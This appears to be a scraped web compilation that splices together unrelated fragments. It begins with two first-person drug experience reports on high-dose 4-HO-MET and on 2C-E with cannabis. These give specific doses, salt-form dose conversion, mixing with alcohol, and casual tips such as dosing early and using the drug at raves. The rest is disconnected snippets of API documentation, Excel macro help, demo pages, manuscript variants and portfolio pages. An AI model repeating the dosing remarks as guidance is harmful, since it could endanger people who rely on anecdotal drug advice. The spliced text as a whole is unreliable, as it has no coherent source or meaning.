During the peak, approximately 90 minutes to 3 1/2 hours after ingestion, the interaction with these figures intensified to what can only be described as a cosmic mindorgy of some sort. This was incredibly pleasurable, blissful almost, somewhere between lust and extreme, all-encompassing empathy was felt between myself and these multiple hallucinatory figures. These feelings, though incredibly intense, were never scary or unpleasant in any way.
For the middle and most intense part of the peak, maybe 2-3 hours in, these interactions continued, but my mind wandered through an incredible tapestry of thoughts, emotions and memories. I felt that I understood and empathised fully with everyone in my life, and the world made incredible sense. I was laughing uncontrollably through most of this time at the constant realisations. It felt like I had missed some incredibly subtle cosmic trick all these years, and now I had realised it I would never be the same again.
The synchronicity was incredible, every object had it's own meaning, no matter how small or insignficant, every moment by every person spent pondering anything seemed part of some deeper plan, no second of idle ponderance in the entirety of human history wasted, everything part of this eternal and infinite plan.
Metaphors of pirates and twisted, ponderous crackpots with crazed eyes and twirled moustaches, spectacles and purple top hats and pipes abounded, every tiniest thought like a great and powerful mystery to be mulled over for days by these crazed thinkers. The piratical metaphors took over at this point, my bones felt like sturdy oak and my flesh like leather. The interaction with the hallucinatory beings, which has continued during these meanderings, took on a twisted, tribal pirate rave at the end of the cosmos quality (words fail me at this point, that's the best I can describe it) and the mind-orgy became an uncomfortable proposition.
I took this opportunity, perhaps 3 1/2 to 4 hours in, to retire to another room.  I soon realised the insanity of this and left such thoughts behind. The last half hour of the peak was spent in intense introspection.
By approximately 4 1/2 hours after the dose was administered, the hallucinations retreated and I was left in a comparatively sober mindset. Open-eye visuals of breathing and swirling objects remained, but the intricate and complex hallucinations had stopped. The next several hours were spent in an uncomfortable state of post-peak bodily malaise, but this had largely passed by t+8-9 hours. 22 hours after ingestion and I feel perfectly normal, if very drained.
My friend reported similar happenings, an incredibly intense 4-5 hour peak followed by about 5 hours of malaise, though personally I find this post-peak malaise occurs with almost any hallucinogen in high doses. Telepathy was noted during the most intense moments of the peak, though that could well be explained by the shared experience and high doses. I have not had the chance to fully discuss the trip with my friend but I shall in a few days, and his thoughts may be added at a later date. Overall his experience was largely similar to my own, though.
4-HO-MET is a remarkable substance, with a short duration of action, even at extreme doses. Despite my fairly high level of experience with psychedelics, both classical and research, the only experience which even comes close to the intensity of this one was a dose of around 8 dried grams of potent mushrooms.
Addendum:
Physical sensations were not very significant; there was a fair amount of tryptamine body rush, but I'd attribute that to peripheral stimulation. This rush was however, less intense than, say, a largish dose of 2C-E or 2C-I (~20 or 25mg). There was little discomfort during the peak, but during the comedown there was a fair quantity of GI/bladder/cough reflex tension. I was eventually sick at about t+8 hours after smoking a cigarette, but it was nothing major, and I felt much better afterwards.
To be honest, the physical/tactile sensations were overpowered by the extreme mental effects about 20 minutes after dosing. Though I describe sexual feelings towards the beings, I was not physically aroused at any point during the experience - the feelings of empathy and acceptance were far stronger. I never had the feeling I'd dosed to a level that was physically dangerous.
My tolerance level is not high at the moment, the only drugs I've taken in the last 8 months are MDMA/methylone, and one 4-HO-MET dose around 35-40mg perhaps 6 weeks ago. That experience was not very visual, it was mostly limited to open-eye visual disturbances (intensification of patterns, breathing of walls/objects etc.) and more open, fluid, complex conversation. It must be noted that I have 4-HO-MET Fumarate, which due to the large counterion (salt) has a dose approximately 50% higher than 4-HO-MET HCl. No other drugs were taken during the experience, though a very small quantity of cannabis around t+8 reduced body discomfort slightly, and a substantial amount of vodka (~350ml) was drunk before dosing (which most likely led to the mistake in the first place, though may have aided in the lack of fear felt during the experience).
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


| DOSE: |
15 mg |
oral |
2C-E |
(capsule) |
| |
1 repeated |
smoked |
Cannabis |
(plant material) |
I consider myself to be a somewhat experienced psychonaut, Ive done mushrooms a handful of times, acid, E, and dabbled in the usual uppers/downers etc. I also smoke a lot of pot. I have a fairly clean mental state most of the time, which is obviously an essential component to any trip.
Setting: I had just gotten off of work, and myself and two friends decided to each take one capsule containing 15 mg of 2C-E which I had acquired by chance some weeks prior. It was just the three of us and my friends cat, and since it was friday night and we had no obligations for the next 24 hours, we decided that it was time.
Dosed about 11 P.M. (Which in retrospect probably wasnt brilliant) and the effects became very noticiable.  Another key to his whole evening was the fact that we were watching the movies and later music videos with a projector that casts the picture on the wall. It was awesome.
But anyhow, the scene at the time had been in the woods, and I started to notice what could be described as minor mushrooms-like visuals - the trees were ebbing and flowing and seemed to be growing across the walls. At that moment, I closed my eyes. the closed-eye visuals were absolutely amazing.
The night itself was not too eventful, although I have to say that the intensity of this drug surprised me a bit. I had never done any of the so-called 'research chemicals' before, and so I didnt really know what to expect. It has an extremely stimulant-like effect to it (my friends and I were very 'anxious' if you will, but more in the 'I need something to do' than in the 'freaking out' way), and the major effects lasted for about 6 hours after dose. The open eye visuals were very 'shroom-ish' but I didnt have nearly as much 'head-trip' as I usually do on a mushrooms trip. This may be because of the totally different nature of the drug, although I can definitely see how taking a higher dose could create one hell of a trip.
Final note: It seemed to me that smoking marijuana while on this drug tended to increase the overall effect thru some type of synergy. I generally use marijuana while on hallucinogens to take the 'edge' and anxiety off of them (because im not a huge fan of uppers) and I would say that it definitely did this, but it seemed that everytime we smoked a bowl the visuals and the general level of fucked up increased considerably.
So, in summation...this drug was freakin sweet at this dose. just enough to get amazing open and closed eye visuals, but not terribly intense in the sense that I still had a clear idea what was going on for the entire night. I was jittery/antsy because this is certainly a stimulant (so dose early unless you plan on being up all night, because I experienced 8-10 hours before sleep was even feasbile), and watch the marijuana intake because it might make you trip harder.  All in all, this was a worthwhile experience, and if I ever get my hands on this again, I could see it being an amazing rave drug.
Remember: Its all about frame of mind, so try it for your first time in a comfortable place, because a high dose in a bad environment could cause this drug to spiral to a nasty place.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Enter your data in the form to generate a QR code for Payment Data.
Enter your data in the form to generate a QR code for Address.


fun elevations(): Pair<Double, Double>
Returns the minimum and maximum heights on this map
Return a pair of doubles: min and max elevation on the map


This API is used to encapsulate the communication with the 3scale backend server for validating and reporting transactions between the user and the provider of a service. For the definitive specification of the interface refer to The 3scale Management API specification
If you decide to abort the transaction you send a 'cancel' instead of a 'confirm'.
@see net/threescale/api/v2/Example.java For code examples.The latest runtime Api is in the distribution tarball in dist/threescale-api.jar.


Displays a dialog box for user input. Returns the information entered in the dialog box. Use INPUT to display a simple dialog box for the user to enter information to be used in a macro.
The dialog box has an OK and a Cancel button. If you click the OK button, INPUT returns the default value specified or the value typed in the edit box. If you click the Cancel button, INPUT returns FALSE.
Syntax
INPUT(message_text, type_num, title_text, default, x_pos, y_pos, help_ref)
Message_text is the text to be displayed in the dialog box. Message_text must be enclosed in quotation marks.
Type_num is a number specifying the type of data to be entered.
| Type_num | Data type |
| 0 | Formula |
| 1 | Number |
| 2 | Text |
| 4 | Logical |
| 8 | Reference |
| 16 | Error |
| 64 | Array |
You can also use the sum of the allowable data types for type_num. For example, for an input box that can accept formulas, text, or numbers, set type_num equal to 3 (the sum of 0, 1, and 2, which are the type specifiers for formula, number, and text). If type_num is omitted, it is assumed to be 2.
If type_num is 0, INPUT returns the formula in the form of text, for example, "=2*PI()/360".
To enter a formula, include an equal sign at the beginning of the formula; otherwise the formula is returned as text.
If the formula contains references, they are returned as R1C1-style references, for example, "=RC[-1]*(1+R1C1)".
If type_num is 8, INPUT returns an absolute reference to the specified cells.
If you enter a single-cell reference in the dialog box, the value in that cell is returned by the INPUT function.
If the information entered in the dialog box is not of the correct data type, Microsoft Excel attempts to convert it to the specified type. If the information can't be converted, Microsoft Excel displays an error message.
Title_text is text specifying a title to be displayed in the title bar of the dialog box. If title_text is omitted, it is assumed to be "Input".
Default specifies a value to be shown in the edit box when the dialog box is initially displayed. If default is omitted, the edit box is left empty.
X_pos, y_pos specify the horizontal and vertical position, in points, of the dialog box. A point is 1/72nd of an inch. If either or both arguments are omitted, the dialog box is centered in the corresponding direction.
Help_ref is a reference to a custom online Help topic in a text file, in the form "filename!topic_number".
If help_ref is present, a Help button appears in the lower-right corner of the dialog box. Clicking the Help button starts Help and displays the specified topic.
If help_ref is omitted, no Help button appears.
Help_ref must be given as text.
For more information about custom Help topics, see HELP.
Remarks
Relative references entered in formulas in the INPUT dialog box are relative to the active cell at the time the INPUT function is calculated. If you are using the reference entered into the dialog box in a cell other than the active cell, it may not refer to the cells you intend it to. For example, if the active cell is A3 and you enter the formula "=A1+A2" in an INPUT dialog box, intending to add the values in those cells, and then use the FORMULA function to enter the formula in cell B3, the formula in cell B3 will read "=B1+B2" because you gave a relative reference. You can use FORMULA.CONVERT to solve this problem.
Examples
In Microsoft Excel for Windows, the following macro formula displays the following dialog box:
INPUT("Enter the inflation rate:", 1, "Inflation Rate", , , , "CUSTHELP.DOC!101")
If you then enter 12%, INPUT returns the value 0.12.
In Microsoft Excel for the Macintosh, the following macro formula displays the following dialog box:
INPUT("Enter the inflation rate:", 1, "Inflation Rate", , , , "CUSTOM HELP!101")
If you then enter 12%, INPUT returns the value 0.12.
If the active cell is C2 and you enter the formula =B2*(1+$A$1) in response to the following macro formula:
INPUT("Enter your monthly increase formula:", 0)
INPUT returns "=RC[-1]*(1+R1C1)"
If you select the range $A$2:$A$8 in the INPUT dialog box:
REFTEXT|USA|002|001|001|common|UREFTEXT(INPUT("Please make your selection.", 8)) returns R2C1:R8C1
Related Functions
ALERT Displays a dialog box and a message
DIALOG.BOX Displays a custom dialog box
FORMULA.CONVERT Changes the style and type of references in a formula
HELP Displays a custom Help topic
Return to index


Open your browser's console or developer mode to see the log messages from the different inputs!
Text Input:
(read the text when you hit 'enter')
Range Slider:
(read the value from 1 to 100 when you change)
Number Input:
(read number when you change)
Button:
(detect button click)
Imgae Button:
(detect mouse over image)
Selection:
(read selection on change)
Checkbox:
(read checkbox value on click)
Radio Button:
(read radio value on click)


{{title}}
Rotate: left drag. Move: right drag. Zoom: wheel (hold Alt to zoom fast). Re-anchor: double-click.
{{title}}
Rotate: drag. Move: two-finger drag. Zoom: pinch.
Maps:


Click the following buttons to see how asynchronous executions could help to improve responsiveness of a website. To magnify the effect, a very large file ~100MB will be encrypted TEN times. Be aware of your hardware limits.
WebKitSubtleCrypto:
SubtleCrypto:
WebWorkers:


| 1012 | (A) | whi the segge so d sodaynely in sekenes was fallyn |
| (C) | ---- no text ---- | |
| 999 | (D) | how þe segge sodenly in sikenes is fallyn |
| 979 | (E) | how þat he sodenliche . in siknesse was falle |
| (Ex) | ---- no text ---- | |
| 1037 | (L) | how þe segge so sodeynly in syknesse is fallen |
| 952 | (P) | why þe sege so sodanly ?? ?????? was fallen |
| 990 | (U) | how the segge sodenly / in sekenes is fallen |
| 77 | (V) | why þe seg sodainly in seknesse was fallen |


About
Blog
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Contact
Deborah A. Harris
Languages
Ruby
JavaScript
HTML
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Frameworks
Ruby on Rails
Active Record
jQuery
d3.js
Team Experiences
git/github
Test Driven Development
Unit Testing
Tools
Chrome Developer Tools
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Is Trix Edible?


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MIETA


When I was a small boy, my father told me
never to recommend a church or a woman
to anyone. And I have found it wise never to
recommend a restaurant either. Something
always goes wrong with the cheese sauffle.
There is something profoundly satisfying
about sharing a meal. Eating together, breaking bread together, is one of the most fundamentally unifying of human experiences
There is something profoundly satisfying about sharing a meal. eating together, breaking bread together is one of the oldest and most fundamentally unifying of human experiences.
There is something profoundly satisfying about sharing a meal. eating together, breaking bread together, is one of the most fundamentally and unifying of human experiences


Dedicated
People would describe me as a cheerful, eager, and self-motivated
teammate who has excellent communication skills.
I enjoy reading and writing, and the knowledge and perspectives that
I've gained from my interests has strengthened my ability to pass on
those ideas to others.
I attribute this success to my ability to plan, schedule, and handle
many different tasks at once. This flexibility will help me in the
classroom, where there are many different personalities and learning
styles.
According to my college credits, I'm a junior, but I'm only just
finishing my second semester of classes at the university.
Please note that this page is still under construction.
Thank you for your patience :)


Testing can be very repetitive, not only because we must run the same test over and over
again, but also because many of the tests are only slightly different. For example, we might
want to run the same test with different test inputs or test conditions and verify that the actual
output varies accordingly. Each of these tests would consist of the exact same steps; however,
what differs is the test data.
We can use the data-driven approach to achieve this. The data-driven testing approach is a
widely used methodology in software test automation.
Benefits of data-driven testing
- With data-driven tests, we can get greater test coverage while minimizing the amount
of test code we need to write and maintain.
- Data-driven testing makes creating and running a lot of test conditions very easy.
- Data-driven tests require no programming skills. Even testers with limited knowledge
of automation can quickly create tables on their own.
- Test data can be designed and created before the application is ready for testing.
- Data tables can also be used in manual testing.
In the data-driven-approach, we can maintain the test data in form tables in a variety of
formats, such as CSV files, Excel spreadsheets, and databases.


|
MOTS Finder
Find non-star-shaped MOTSs
|
Utilities to add more features to unittest
classes.
More...
Classes | |
| class | DpkTestCase |
| Tweaked baseclass for unit tests. More... | |
| class | TestSettings |
| Global settings for tests. More... | |
Functions | |
| def | slowtest (func) |
| Decorator for skipping a test if TestSettings.skipslow is true. More... | |
Utilities to add more features to unittest
classes.
This module provides a custom subclass of unittest.TestCase
, namely DpkTestCase, which obeys the global configuration settings in TestSettings. The latter can be configured by the script invoking the test run.
This module also introduces a new decorator slowtest, which, when applied, leads to the test being skipped on normal runs. The script starting the test must set TestSettings.skipslow
to False
for the slow tests to be run.
| def testutils.slowtest | ( | func | ) |
Decorator for skipping a test if TestSettings.skipslow is true.


About Me
Let's get to know each other...
My Education
Lakes HighSchool
Pierce Community College
University of Washington
Places I've worked
Google
Microsoft
Amazon


--- layout: project/single category: project author: Charles Brown-Roberts title: Library Systems Dashboard meta: Library Systems Dashboard created with Rails 5 tags: - Rails - Python - MongoDB thumbnail: projects/images/library-systems-dashboard.png card: projects/images/library-systems-dashboard.png role: Lead ---